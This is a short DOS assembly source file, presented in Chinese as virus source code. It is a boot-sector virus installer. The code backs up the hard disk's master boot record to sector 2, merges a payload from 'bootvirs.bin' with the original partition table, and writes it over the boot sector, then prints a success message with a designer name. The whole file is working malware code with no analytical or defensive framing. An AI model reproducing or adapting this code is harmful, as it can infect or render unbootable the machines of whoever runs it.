wmbr.asm

一个汇编病毒源代码

	Format	Binary
	org	100H
	mov	ax,0201H
	mov	bx,TheBuf
	mov	cx,1
	mov	dx,80H
	int	13H
	mov	ax,0301H
	mov	cx,2
	int	13H
	;Open	the file 
	mov	ax,3D00H
	mov	dx,FileName
	int	21H
	jnc	near	@f
	mov	dx,OpenError
	mov	ah,9
	int	21H
	mov	ah,4CH
	int	21H
	@@:
	;Read file to File Buffer
	mov	[Handle],ax
	mov	bx,ax
	mov	ah,3FH
	mov	cx,512
	mov	dx,FileBuf
	int	21H
	;Modified some bytes of the File Buffer
	mov	di,FileBuf+2
	mov	si,TheBuf+2
	cld
	mov	cx,20H
	rep	movsb
	mov	di,FileBuf+1B0H
	mov	si,TheBuf+1B0H
	mov	cx,50H
	cld
	rep	movsb
	;Write the File Buffer to hardisk Boot sector.
	mov	bx,FileBuf
	mov	cx,1
	mov	dx,80H
	mov	ax,0301H
	int	13H
	;close the file hadler
	mov	bx,[Handle]
	mov	ah,3EH
	int	21H
	mov	ah,09H
	mov	dx,ResultStr
	int	21H
	mov	ax,4C00H
	int	21H
	TheBuf		rb	512
	FileBuf		rb	512
	Handle		dw	0
	ResultStr	db	'Successful effect Hardisk!',0DH,0AH
			db	'Designer:Zheng Hongwen Date:2003-07-31',0DH,0AH,'$'
	OpenError	db	"The file bootvirs.bin not found!",07H,0DH,0AH,'$'
	FileName	db	'bootvirs.bin',0